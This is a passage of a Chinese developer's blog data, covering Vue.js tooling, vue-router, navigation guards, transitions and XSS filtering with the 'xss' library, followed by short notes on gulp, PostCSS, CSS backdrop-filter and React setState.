@vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade \u0026ndash;latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name \u0026ldquo;Home\u0026rdquo; should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了\nVue-router是vue官方推出的vue官方路由管理工具，和vue核心深度集成\n该Vue-router路由被用于单页面应用，组件的切换，而不想其他那样可以使用超链接来切换页面\n安装router\nnpm install vue-router \u0026ndash;save-dev\n或者\nvue add router\n例如：\nApp.vue\n\u0026lt;template\u0026gt; \u0026lt;router-link to=\u0026quot;/Home/Index\u0026quot;\u0026gt;hallo index\u0026lt;/router-link\u0026gt; \u0026lt;router-link to=\u0026quot;/Hallo\u0026quot;\u0026gt;hallo\u0026lt;/router-link\u0026gt; \u0026lt;router-view\u0026gt;\u0026lt;/router-view\u0026gt; \u0026lt;/template\u0026gt; router.js\nimport {createRouter, createWebHashHistory} from \u0026quot;vue-router\u0026quot; import Hallo from './components/Hallo' import Home from './components/Home' import Index from './components/Index' const routes = [ { path: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, component: Home, children: [ {path:\u0026quot;/\u0026quot;,component: Home}, {path:\u0026quot;Index\u0026quot;,component: Index} ] }, { path: \u0026quot;/Hallo\u0026quot;, name: \u0026quot;Hallo\u0026quot;, component: Hallo } ] const router = createRouter({ history: createWebHashHistory(), routes: routes }) export default router main.js\nimport { createApp } from 'vue' import App from './App.vue' import router from './router' createApp(App).use(router).mount('#app') 为路由匹配到组件（路由视图），它会表示渲染出使用切换的组件\npath是链接路径，name为链接名称，component为导入的组件模板名，多个地址用逗号分开，children为子路由声明，\n带参数的动态路由\nUser.vue\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; {{ $route.params.id }} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; router.js\n{ path: \u0026ldquo;/User/:id\u0026rdquo;, name: \u0026ldquo;User\u0026rdquo;, component: User }\n访问http://localhost:8080/#/User/admin\n可以看页面显示了admin，说明通过路由传递了参数到模板中，其中id的参数在模板是以$route.params.id方式获取的\n去掉#：因为我这里vue-router路由模式设置为hash（createWebHashHistory），需要开启history（createWebHistory）\nimport {createWebHistory} from \u0026quot;vue-router\u0026quot; const router = createRouter({ history: createWebHistory(), routes: routes }) 获取获取以什么开头的路由\n{ path: '/User:pathMatch(.*)*', name: 'User', component: User }, 可以看到使用了路由，例如http://localhost:8080/Useraaa/等等，只要是Userxxx以及Userxxx/xxx都会渲染User组件\npath: \u0026lsquo;/User:afterUser(.*)\u0026rsquo;,这个效果和上面一样\n当Url需要纯数字时：\n{ path: '/User/:id(\\\\d+)', name: 'User', component: User }, http://localhost:8080/User/666\n复用参数（0个或多个用*，1个或多个用+）\n在上面的基础上改：\n{ path: '/User/:id(\\\\d+)+', name: 'User', component: User }, 访问http://localhost:8080/#/User/666/111，可以看到，模板的{{ $route.params.id }}，渲染出[ \u0026ldquo;666\u0026rdquo;, \u0026ldquo;111\u0026rdquo; ]这样的数组，而不是字符串了，因此可以使用$route.params.id[1]，来精确获取第几个路由\n嵌套路由（User路由中使用了Admin路由，子路由）\nUser.vue\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; {{ $route.params.id }} \u0026lt;router-view\u0026gt;\u0026lt;/router-view\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; UserAdmin.vue\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; hallo admin \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; router.js\n{ path: '/User/:id(\\\\d+)+', name: 'User', component: User, children: [ { path: 'admin', component: UserAdmin } ] }, 访问http://localhost:8080/#/User/666/admin，可以看到hallo admin\n编程式路由（非router-link）\nApp.vue\n\u0026lt;template\u0026gt; \u0026lt;div @click=\u0026quot;goAdmin\u0026quot;\u0026gt;go\u0026lt;/div\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;router-view\u0026gt;\u0026lt;/router-view\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import {useRouter} from 'vue-router' export default{ setup(){ const router = useRouter() let goAdmin = () =\u0026gt;{ router.push(\u0026quot;/User/123\u0026quot;) } return{ goAdmin } } } \u0026lt;/script\u0026gt; 可以看到点击了\u0026lt;div @click=\u0026ldquo;goAdmin\u0026rdquo;\u0026gt;go，就会跳转到http://localhost:8080/User/123\n除了通过字符串外，还可以router.push({path: \u0026lsquo;/User/123\u0026rsquo;})\n传递参数（模板{{ $route.params.id }}）\nparams方式\nrouter.push({name: \u0026lsquo;User\u0026rsquo;, params: { id: 666 }})\n访问http://localhost:8080/User/666\nquery方式\nrouter.push({path: \u0026lsquo;/User\u0026rsquo;, query: { id: 123 }})\n访问http://localhost:8080/User?id=123\nquery方式获取参数，需要使用{{$route.query.id}}，而不是$route.params.id了\nhash方式\nrouter.push({ path: \u0026lsquo;/User\u0026rsquo;, hash: \u0026lsquo;#admin\u0026rsquo; })\n访问http://localhost:8080/User#admin\n使用{{$route.hash}}获取参数\n动态路由参数\nlet user = \u0026lsquo;admin\u0026rsquo; router.push({ name: \u0026lsquo;User\u0026rsquo;, params: { user } })\nreplace（使用该跳转，将不会创建会话历史记录，会替代上一个会话的记录）\nrouter.replace({ path: \u0026lsquo;/User\u0026rsquo;})\n使用replace: true参数也是可以给push设置（push的replace默认为false）\nrouter.push({ path: \u0026lsquo;/User\u0026rsquo;, replace: true })\n会话历史记录跳跃\n前进n条记录（前进2页） router.go(2)\n返回n条记录（后退2页面）\nrouter.go(-2)\n例如：\nApp.vue\nimport {useRouter} from 'vue-router' export default{ setup(){ const router = useRouter() let goAdmin = () =\u0026gt;{ router.go(2) } return{ goAdmin } } } 路由的name属性的作用：\n除了像这样用外Go\n还可以用name属性指向一个路由的path，防止路由地址写错，设置params属性给模板接收参数（这个参数不会作用于URL），Go\n当需要在同级下渲染多个router-view，如何确保其router-view渲染的是自己想要的，利用router-view的name属性（该属性默认值为default）\nApp.vue\nrouter.js\nimport User from './components/User.vue' import A from './components/a.vue' import B from './components/b.vue' import C from './components/c.vue' const routes = [ { path: '/User', name: 'User', components:{ default: User, a:A, b:B, c:C } } ] const router = createRouter({ history: createWebHashHistory(), routes: routes }) export default router 访问http://localhost:8080/User，可以看到渲染出了a组件，b组件，c组件\n其中router.js的小写a就是指向了router-view的name属性，大写的A就是组件，和name属性对应上（键值对），将其对应渲染到相应的router-view中\ncomponents属性为多组件配置\n重定向（当希望访问到某个路由时，能跳转到另一个路由时）\nconst routes = [ { path: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, redirect: '/', components: { default: Home } } ] 访问http://localhost:8080/Home\n设置还可以指向一个路由的name属性，const routes = [{ path: \u0026lsquo;/Home\u0026rsquo;, redirect: { name: \u0026lsquo;User\u0026rsquo; } }]\n另外如果一个路由使用了redirect重定向，那么是可以不用写component了，因为不会真正访问到（访问到就重定向到另一个路由了），但是存在子路由时就需要写component了\n当重定向发生时，也需要传递参数到重定向时，例如：\n{ path: '/User/:id', name: 'User', components:{ default: User, } , redirect: to =\u0026gt;{ return { path: '/', query: { id: to.params.id } } } } 当访问http://localhost:8080/User/123时，会重定向到http://localhost:8080/?id=123，如果/User/123的123，被传到query了，另外还可以在重定向的目标组件模板用{{$route.query.id}}获取到该参数\n重定向别名\n{ path: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, components: { default: Home, }, alias: '/User', } 别名就是访问http://localhost:8080/User/时，实质上是访问/Home这个路由，和redirect的区别就是，redirect会改变URL，而alias不会改变URL\n利用子路由来给多路由匹配组件\n{ path: \u0026quot;/Home/:id\u0026quot;, name: \u0026quot;Home\u0026quot;, component: Home, children: [ { path: '', component: Homea, alias: [':id','admin', '/User'] }, ] } 当访问http://localhost:8080/Home/123，http://localhost:8080/Home/admin，http://localhost:8080/User时，渲染的是Home组件\n路由props传参（通过props接收参数）\nroutes.js\n{ path: '/hallo/:id', component: Home, props: true } Home.vue\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; hallo {{id}} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: ['id'] } \u0026lt;/script\u0026gt; 当props为true时，其route.query（router.params）将被设置为该组件的属性，可直接访问其参数\n对于有命名视图的路由，必须为每个命名视图定义props配置，例如：\n{ path: \u0026quot;/Home/:id\u0026quot;, name: \u0026quot;Home\u0026quot;, components: { default: Home, index: Index }, props:{ default: true, index: false }, }, 在上面例子中props是对象形式，可以看到index组件就算props接收了id参数，但是因为其路由props设置了false，导致其route.query（router.params）没有设置为该组件的属性，因此没有id参数\nroutes.js\n{ path: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, component: Home, props: (route) =\u0026gt; ({id : route.query.id }) }, Home.vue\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt; hallo {{id}} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: ['id'] } \u0026lt;/script\u0026gt; 访问http://localhost:8080/Home?id=123，Home输出123\n上面例子中route.query.id就是当前query（id=123），将其传入到id中，然后模板接收\n注意：函数模式请不要用于多组件components中，在多组件components中，需要给除default外的组件设置router-view的name属性\n导航守卫（导航守卫实质上就是路由跳转时的钩子函数，守卫是异步执行的）\n全局前置守卫：beforeEach\nrouter.beforeEach((to,form)=\u0026gt;{ return false})\n守卫接收2个参数，to是跳转的目标路由，form是跳转离开的路由，返回值如果为false时，表示取消当前导航，当返回值为路由地址时，会跳转到该路由地址，还有一个next()可选参数，该可选参数表示放行\n当next(false)时，表示取消当前导航，当next(\u0026rsquo;/Home\u0026rsquo;)时，会跳转到/Home（和router.push类似）\n如果守卫抛出Error时，取消导航并且调用router.onError()\n守卫正常时是undefined或返回true\n例如：\nroutes.js\nconst router = createRouter({ history: createWebHistory(), routes: routes }) router.beforeEach((to, from, next) =\u0026gt; { if (to.name !== \u0026quot;Home\u0026quot;) { next({ name: 'Home' }) } else { next() } }) 像上面的例子中，全局路由守卫将会监听要跳转的路由的name属性是否为Home，如果不是Home就会调用next()方法跳转到name为Home的路由，如果是Home的话守卫放行\n全局解析守卫：beforeResolve\n全局解析守卫和全局前置守卫类似，都是路由跳转前调用，但是beforeResolve会在beforeEach（全局前置守卫）和beforeRouteEnter（组件路由守卫）之后触发，afterEach（全局后置守卫）之前触发\nrouter.beforeResolve((to, from, next) =\u0026gt; { if (to.name !== \u0026quot;Home\u0026quot;) { next({ name: 'Home' }) } else { next() } }) 可以看到效果和beforeEach一样\n全局后置守卫：afterEach（没有next()，全局后置守卫顾名思义，就是路由跳转后触发）\nrouter.afterEach((to, from) =\u0026gt; { console.log(to.name) console.log(from.name) }) 路由独享的守卫beforeEach（在路由内部定义的beforeEach守卫）\n{ path: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, component: Home, beforeEach: (to,from) =\u0026gt;{ if (to.name !== \u0026quot;Home\u0026quot;) { next({ name: 'Home' }) } else { next() } } }, 路由独享的守卫beforeEach只在进入路由时触发（params，query，hash改变并不会触发）\n组件路由守卫：beforeRouteEnter，beforeRouteUpdate，beforeRouteLeave\nbeforeRouteEnter：在渲染该组件时对应的路由被确定前触发，在该守卫触发时，组件实例未被创建，因此不能获取组件实例的任何东西\nbeforeRouteUpdate：当前路由发送改变，但是该组件又被复用时触发，比如传参，只是改变参数，但是复用了当前组件，该守卫触发时，组件实例已被挂载，可访问组件实例\nbeforeRouteLeave：当导航离开渲染该组件的路由时触发，可访问组件实例\n例如：\nHome.vue\nexport default { beforeRouteEnter(to, from, next) { next(vm =\u0026gt;{ console.log(vm) // 可以看到vm是组件实例，说明可以通过next来访问组件实例，next()会在导航被确认时被回调 }) }, beforeRouteUpdate(to, from, next) { if (to.name !== \u0026quot;Home\u0026quot;) { next({ name: 'Home' }) } else { next({ name: 'User' }) } console.log(to.name) console.log(from.name) }, beforeRouteLeave(to, from, next) { if(to.name !==\u0026quot;Home\u0026quot;){ if(confirm('您的信息还未保存，确定要离开吗？') == true){ next() }else{ next(false) } } console.log(to.name) console.log(from.name) }, } 路由元信息（路由meta字段属性）\n{ path: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, component: Home, meta: { ha: false } } }, router.beforeEach((to, from, next) =\u0026gt; { if (to.name == 'Home' \u0026amp;\u0026amp; to.meta.ha){ next() }else{ next(false) } }) 路由懒加载（动态导入）\nconst User = () =\u0026gt; import('./components/User.vue') const routes = [{ path: '/User', name: 'User' component: User }] 动态路由\nconst routes = [{ path: '/:id', name: 'User' component: User }] const router = createRouter({ history: createWebHistory(), routes: routes }) router.addRoute({ path: '/Home',name: 'Home', component: Home }) // 添加路由 router.removeRoute('Home') // 删除路由 注意：当路由被删除时，路由别名和子路由同时也被删除\n不只是在路由router中设置，还可以在路由守卫设置，而且当2个addRoute路由的name重名时，也会触发删除路由，当路由没有name属性时，可通过定义回调函数，让其重新添加路由（实质上是删除路由，因为重复了）,例如：\nconst RoutesData = router.addRoute(path: '/Index', component: Home ) RoutesData() 嵌套路由\nrouter.addRoute({ path: '/User', name: 'User', component: User }) router.addRoute('User', { path: 'Admin', component: Home }) vue中解决xss脚本攻击（依赖于xss模块）\nnpm install xss \u0026ndash;save\n引用xss模块\nimport xss from 'xss' Object.defineProperty(Vue.prototype, '$xss', { value: xss }) 在评论框或者其他输入框等等要针对免疫xss地方使用$xss()方法\n自定义拦截规则\n在data字段，return字段下设置白名单，格式就是标签名加属性，只要不是白名单的标签和属性，就是会被过滤掉\noptions : { whiteList: { a: ['href', 'title'], div: ['class'] } } vue中解决html和Markdown转换\nMarkdownToHtml（处理md转换为html）\nnpm install showdown \u0026ndash;save\n使用方法：\nimport showdown let converter = new showdown.Converter() let text = '# hallo word' // md格式的文本 let html = converter.makeHtml(text) HtmlToMarkdown（处理html转换为md）\nnpm install turndown \u0026ndash;save\n使用方法：\nimport turndown let turndownService = new turndown() let markdown = turndownService.turndown('\u0026lt;h1\u0026gt;hallo word\u0026lt;/h1\u0026gt;') vuejs是声明式视图层框架，视图层框架分为命令式和声明式两种，命令式关注过程，声明式关注结果，命令式的代码描述了工作过程，而声明式的代码只声明，结果由框架来提供\nvuejs内部实现肯定是命令式的，但是进行封装了工作过程，对外暴露的是声明式，声明式的性能并没有命令式的性能优，因为命令式的工作流程一目了然，去除或者添加某个功能，理论上能做到最优性能\n而声明式只关注了结果，需要查找前后代码的差异（虚拟dom+diff算法），然后再更新，vuejs选择声明式的方案是为了可维性，不需要关心工作过程，只需要关注结果就好了\n虚拟DOM对比innerHTML操作DOM\n创建DOM：虚拟DOM和innerHTML操作DOM都是创建所有DOM元素，因此虚拟DOM和innerHTML操作DOM基本上性能是一致的（DOM层计算）\n更新DOM：innerHTML操作DOM更新是先重新创建HTML字符串，然后再更新DOM元素（销毁旧的DOM元素，重新创建一个完整的DOM元素），而虚拟DOM是通过创建新的JavaScript对象，然后前后俩个JavaScript对象进行DIff比较，得到差异，只更新差异\n不难看出，虚拟DOM的优势在于更新DOM\n渲染器的作用就是将虚拟DOM（JavaScript对象）渲染成真实的DOM\n渲染器将JavaScript对象的值获得，并且以原生JavaScript方式渲染出来，当tag为字符串时，渲染标签元素，如果是函数（或者对象）那么表示该是组件，组件函数返回值本身就是虚拟DOM，如果是对象的话，获取对象的render函数，得到其返回值（这个实质上也是虚拟DOM），编译器（模板）原理上和渲染器是一样的\ntransition（过渡和动画）\n过渡：元素属性从一个属性过渡为另一个属性，例如元素的背景颜色从黑色过渡到白色\n动画：一个元素从一个地方移动到另一个地方\nvue内置了组件和API来完成动画和过渡\n过渡：\nconst app = Vue.createApp({ data(){ return { ishallo: false } }, methods:{ onhalloClick(){ this.ishallo = ! this.ishallo } }, template: ` \u0026lt;button @click='onhalloClick'\u0026gt;点我隐藏/显示\u0026lt;/button\u0026gt; \u0026lt;transition\u0026gt; \u0026lt;div v-if=\u0026quot;ishallo\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt; \u0026lt;/transition\u0026gt; ` }) const vm = app.mount(\u0026quot;#app\u0026quot;) 动画\nvue\nconst app = Vue.createApp({ data(){ return { ishallo: false } }, template: ` \u0026lt;div :class='{ hallo: ishallo }'\u0026gt; \u0026lt;button @click='ishallo = true'\u0026gt;点我触发动画\u0026lt;/button\u0026gt; \u0026lt;div v-if=\u0026quot;ishallo\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ` }) const vm = app.mount(\u0026quot;#app\u0026quot;) css样式\n.hallo { animation: hallo 1s linear } @keyframes hallo { 0% { transform: translate3d(0px, 0, 0) } 10% { transform: translate3d(-2px, 0, 0) } 60% { transform: translate3d(2px, 0, 0) } 100% { transform: translate3d(0px, 0, 0) } } 硬件加速：使用了perspective，backface-visibility和transform: translateZ()都可以触发硬件加速\n解决过渡和动画时间不一致\n，当使用该属性，动画结束，过渡会跟着结束\n，当使用该属性，过渡结束，动画会跟着结束\n统一管理动画和过渡时间\n，该属性值单位为毫秒，意思为1秒后结束动画和过渡\n，enter为进入动画和过渡时间，leave为离开动画和过渡时间\ntransition内置组件在一个过渡周期会触发6个状态，分别是v-enter-from，v-enter-active，v-enter-to，v-leave-from，v-leave-active，v-leave-to\nv-enter-from：表示过渡的开始状态，元素插入之前触发，元素插入后的下一帧移除\nv-enter-active：表示过渡生效时状态，在元素插入之前触发，在动画和过渡完成后移除\nv-enter-to：表示过渡的结束状态，在元素插入后下一帧触发，在动画和过渡完成后移除\nv-leave-from：表示离开过渡的开始状态，离开过渡时立即触发，下一帧后移除\nv-leave-active：表示离开过渡的生效状态，离开过渡时立即触发，在动画和过渡完成后移除\nv-leave-to：表示离开过渡的结束状态，离开过渡后下一帧触发，在动画和过渡完成后移除\n用法：\nconst app = Vue.createApp({ data(){ return { ishallo: false } }, template: ` \u0026lt;transition\u0026gt; \u0026lt;button @click='ishallo = true'\u0026gt;点我触发动画\u0026lt;/button\u0026gt; \u0026lt;div v-if=\u0026quot;ishallo\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt; \u0026lt;/transition\u0026gt; ` }) const vm = app.mount(\u0026quot;#app\u0026quot;) 样式\n.v-enter-active{ animation: hallo 1s; // 表示入场时触发时hallo动画 } .v-leave-active{ animation: hallo 1s; // 表示出场时触发时hallo动画 } @keyframes hallo { 0% { transform: translate3d(0px, 0, 0) } 10% { transform: translate3d(-2px, 0, 0) } 60% { transform: translate3d(2px, 0, 0) } 100% { transform: translate3d(0px, 0, 0) } } 关闭css动画：，使用该属性表示将通过组件事件来触发动画，不再使用css动画了\n过渡模式：，该属性有2个值，out-in和in-out，默认同时进行\nout-in：当前元素先进行过渡，完成后新元素过渡进入\nin-out：新元素先进行过渡，完成后当前元素过渡离开\n该常用于动态组件的切换过渡，也是说out-in是当前元素先进行过渡，切换到新元素时，过渡进入，而in-out是新元素过渡，切换到当前元素时过渡离开\nname属性：，该属性表示自动生成css过渡类名，像例子中的，将生成为.hallo-enter等等，就是将过渡周期中的6个状态的v改成name属性值了\nvue devtools调试工具\n下载https://github.com/vuejs/vue-devtools\n解压，并且在该目录执行npm install\n修改manifest.json（该文件在项目目录的packages/shell-chrome），将persistent改为true\n打包npm run build\n以谷歌浏览器为例子，加载已解压的扩展程序，选择刚刚打包的目录的packages/shell-chrome文件夹\nvue3引入了tree-shaking技术，当没有在项目中使用某个模块时，那么该模块的代码将不会出现在打包中\nvue3抛弃了Object.defineProperty，改用Proxy来做数据的响应式\nvue3不再使用src托管，而采用monorepo管理\nvue3采用typescript编写源码，对typescript的兼容更好，vue2使用的是flow来处理类型检查\nvue3提供了Composition API，对于逻辑复用支持更好\n","permalink":"https://chenjunlinabc.github.io/posts/75/","summary":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade \u0026ndash;latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name \u0026ldquo;Home\u0026rdquo; should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({ transpileDependencies: true, lintOnSave: false }) 这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了","title":"深入学习vuejs"},{"content":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install \u0026ndash;global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install \u0026ndash;save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add \u0026ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(\u0026ldquo;gulp\u0026rdquo;);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\u0026quot;gulp\u0026quot;); gulp.task(\u0026quot;test\u0026quot;, function() { return console.log(\u0026quot;hallo gulp\u0026quot;); }); 执行test任务（在终端，应用根目录下）\ngulp test\n默认任务\ngulp.task(\u0026quot;default\u0026quot;, function(){ return console.log(\u0026quot;hallo gulp\u0026quot;); }) 拷贝任务\ngulp.task(\u0026quot;copyData\u0026quot;, function(){ gulp.src(\u0026quot;src/*\u0026quot;).pipe(gulp.dest(\u0026quot;app\u0026quot;)); }) 上面是将src文件夹下全部文件拷贝到app文件下，哪怕没有这个文件夹，gulp也会自动新建文件夹并且拷贝过去\n图片压缩任务\n安装依赖\nnpm install \u0026ndash;save-dev gulp-imagemin\n修改gulpfile.js\nlet imagemin = require(\u0026quot;gulp-imagemin\u0026quot;); gulp.task(\u0026quot;imageMin\u0026quot;, function(){ gulp.src(\u0026quot;src/*.{png,jpg,gif,ico}\u0026quot;).pipe(imagemin( { optimizationLevel: 5, progressive: true, interlaced: true, multipass: true, svgoPlugins:[{removeViewBox: true}], } )).pipe(gulp.dest(\u0026quot;src/images\u0026quot;)); }) imagemin方法参数：\noptimizationLevel：压缩等级（0-7），默认值为3\nprogressive：是否无损压缩jpg图片，默认值为false\ninterlaced：隔行扫描gif渲染，默认值为false\nmultipass：多次优化svg，直到优化完毕，默认值为false\nsvgoPlugins: 移除svg的viewbox属性\nPostCSS是一个用JavaScript转换css的工具\n一般来说PostCSS不单独使用，会搭配构建工具（例如：Webpack，Gulp）使用，因此这里使用的是Gulp\n安装PostCSS依赖和gulp依赖\nyarn add gulp gulp-postcss postcss-cssnext postcss-short\n修改gulpfile.js\nconst gulp = require(\u0026quot;gulp\u0026quot;); const postcss = require(\u0026quot;gulp-postcss\u0026quot;); const cssnext = require(\u0026quot;postcss-cssnext\u0026quot;); const shortcss = require(\u0026quot;postcss-short\u0026quot;); gulp.task(\u0026quot;postcss\u0026quot;, function() { const processors = [ shortcss, cssnext ]; return gulp.src(\u0026quot;./1.css\u0026quot;) .pipe(postcss(processors)) .pipe(gulp.dest(\u0026quot;./css\u0026quot;)); }); gulp postcss\n执行完毕后自动添加css兼容前缀了，还支持下一代css的语法\n","permalink":"https://chenjunlinabc.github.io/posts/73/","summary":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install \u0026ndash;global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install \u0026ndash;save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add \u0026ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(\u0026ldquo;gulp\u0026rdquo;);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\u0026quot;gulp\u0026quot;); gulp.task(\u0026quot;test\u0026quot;, function() { return console.log(\u0026quot;hallo gulp\u0026quot;); }); 执行test任务（在终端，应用根目录下）\ngulp test","title":"gulp学习笔记"},{"content":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\n\u0026lt;style\u0026gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(\u0026quot;1.jpg\u0026quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } \u0026lt;/style\u0026gt; \u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div id=\u0026quot;test\u0026quot;\u0026gt; \u0026lt;p class=\u0026quot;text\u0026quot;\u0026gt; hallo word \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; backdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）\n","permalink":"https://chenjunlinabc.github.io/posts/65/","summary":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\n\u0026lt;style\u0026gt; *{ margin: 0; padding: 0; } #app{ width: 100%; height: 50rem; background-image: url(\u0026quot;1.jpg\u0026quot;); } #test{ position: absolute; top: 0; left: 0; right: 0; bottom: 0; backdrop-filter: blur(10px); } .text{ padding-top: 100px; text-align: center; } \u0026lt;/style\u0026gt; \u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;div id=\u0026quot;test\u0026quot;\u0026gt; \u0026lt;p class=\u0026quot;text\u0026quot;\u0026gt; hallo word \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; backdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）","title":"简单利用backdrop-filter属性实现效果"},{"content":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) this.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } }) console.log(this.state.count) state和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u0026gt;{ return{ count: state.count + 1 } },() =\u0026gt; { console.log(this.state.count) }) 可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = ( \u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt; ) console.log(Abc) 